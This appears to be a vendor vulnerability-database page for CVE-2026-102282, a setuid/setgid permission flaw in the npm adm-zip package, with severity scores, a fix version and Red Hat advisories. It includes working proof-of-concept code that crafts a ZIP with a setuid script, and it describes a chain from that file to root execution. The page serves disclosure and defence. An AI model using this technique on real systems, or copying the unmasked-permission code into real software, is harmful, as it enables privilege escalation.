Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

CVE-2026-102282 — adm-zip

HIGHFix: cthackers/adm-zip@6a63c33

CVE-2026-102282 is a high-severity (CVSS 7.1) CWE-732 vulnerability in adm-zip. 1 public exploit reference exists, so weaponization risk is real. A fix is available for adm-zip — see the affected versions and patch details below.

adm-zip extraction preserves SUID/SGID bits from untrusted ZIPs -> local privilege escalation

Also known asGHSA-j5f4-cc29-5x44
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
1 known
Exploitation data as of Oct 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-102282.

EPSS Exploitation Probability

via FIRST.org ↗
0.1%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs4th percentile — riskier than 4% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-102282 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 395,249 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

6Kother npm packages depend on this — each one inherits the vulnerability until it's patched upstream
adm-zipnpm
14.2Mdownloads / week

Description

Summary

adm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via fs.chmodSync() when keepOriginalPermission=true is passed to extractAllTo()/extractEntryTo() — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode 04755. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps — the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-privileged user, turning the attacker's code into a root execution.

Details

The mode a zip entry wants is read back from the external file attributes in the header, and the mask used keeps every special bit:

// headers/entryHeader.js:187
get fileAttr() {
    return (_attr || 0) >> 16 & 0xfff;
}

0xfff is 0o7777 — it preserves setuid (0o4000), setgid (0o2000) and the sticky bit (0o1000) along with the rwx bits. Shifting by 16 is the standard Unix convention for where zip stores the mode; the mask is the problem.

When the flag is on, that value goes straight to the write:

// adm-zip.js:726-727 (extractEntryTo, and identically in extractAllTo)
const fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;
filetools.writeFileTo(target, content, overwrite, fileAttr);
// util/utils.js:94
self.fs.chmodSync(path, attr || 0o666);

No & 0o777, no stripping of 0o7000. Attacker-controlled bytes in the zip decide the final mode of a file the library creates on disk. Directory entries are affected too (adm-zip.js:855), so a setgid bit on a directory entry also carries over and gives new files inside it group inheritance.

PoC

Tested against [email protected] (latest as of 2026-08-01), Node 22, Linux.

  1. Craft a zip with a setuid binary using standard tooling (this is the realistic attacker path — no adm-zip APIs involved in creating it):
python3 -c "
import zipfile
zi = zipfile.ZipInfo('pysuidbin')
zi.external_attr = 0o4755 << 16
with zipfile.ZipFile('evil.zip', 'w') as z:
    z.writestr(zi, '#!/bin/sh\nid\n')
"
  1. Extract with the flag enabled:
const AdmZip = require('adm-zip');
new AdmZip('evil.zip').extractAllTo('/tmp/out', true, true);

const fs = require('fs');
const st = fs.statSync('/tmp/out/pysuidbin');
console.log((st.mode & 0o7777).toString(8));
// => 4755   (setuid bit set — the file is root-owned if the extractor runs as root)
  1. Control — same zip, default extraction (keepOriginalPermission=false): mode comes out 0666, no setuid. The flag is the enabler.

Alternative supply path, if the zip is built in-process with adm-zip's own API:

const zip = new AdmZip();
zip.addFile('suidbin', Buffer.from('#!/bin/sh\nid\n'), '', 0o4755);
zip.writeZip('evil.zip');
new AdmZip('evil.zip').extractAllTo('/tmp/out', true, true);
// same result: stat mode & 0o7777 === 0o4755

Impact

Privilege escalation. The vulnerability class is CWE-732 (incorrect permission assignment): permission bits taken from untrusted input are applied with no filtering.

Realistic chain:

  1. Attacker supplies a zip (upload endpoint, fetched dependency archive, artifact in a build script — no special access needed to produce the file).
  2. A pipeline or service extracts it as root with keepOriginalPermission=true. Docker builds run as root by default and CI/install steps commonly do too; this flag is specifically the tooling used in permission-preserving deploy flows.
  3. The root-owned setuid file leaves the build, typically preserved by cp -a/rsync mode-bit propagation, into the runtime environment.
  4. An unprivileged app user or service account executes it (the standard build-as-root/run-as-user model) — the attacker's code runs as root.

Who is impacted: applications and pipelines that extract untrusted archives with keepOriginalPermission=true while running as root. Default-usage deployments (flag off) are not affected; non-root extraction results in a harmless self-owned setuid file. Severity: Medium

Suggested fix, one line in the getter:

get fileAttr() {
    return (_attr >> 16) & 0o777;
}

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmadm-zipall versions0.6.1npm install adm-zip@0.6.1
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for adm-zip, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update adm-zip to 0.6.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-102282 is resolved across your whole dependency graph.

  3. Workarounds

    Close the privilege gap rather than the entry point: audit which accounts, roles and service identities can reach the affected operation, drop the component to the least privilege it actually needs, and review file and directory permissions created by earlier installs — a default left in place is what makes this reachable.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

A local privilege escalation flaw rated IMPORTANT by Red Hat was found in the adm-zip JavaScript library, which is bundled by several Red Hat products for creating and extracting ZIP archives. When extracting a ZIP archive with the keepOriginalPermission option enabled, adm-zip applies the Unix permission bits stored…

Workaround published by Red Hat
When extracting archives from untrusted sources with adm-zip, do not enable the keepOriginalPermission option in extractAllTo()/extractEntryTo(); the vulnerable permission-preservation behavior is only invoked when this option is enabled. The upstream project has released a version that filters the setuid/setgid bits from extracted permission metadata, so updating adm-zip to a version that includes this fix, when made available through Red Hat product channels, resolves the issue.
Source: Red Hat security advisory for CVE-2026-102282 (CC BY 4.0)
ProductFixed inAdvisory
Red Hat Ansible Automation Platform 2.2ansible-automation-platform/automation-portal:1792523640RHSA-2026:86675

Frequently Asked Questions

## Summary adm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via `fs.chmodSync()` when `keepOriginalPermission=true` is passed to `extractAllTo()`/`extractEntryTo()` — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode `04755`. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps — the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-
O3 Security · Impact-Aware SCA

Is CVE-2026-102282 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2026-102282: adm-zip PrivEsc — Fixed in 0.6.1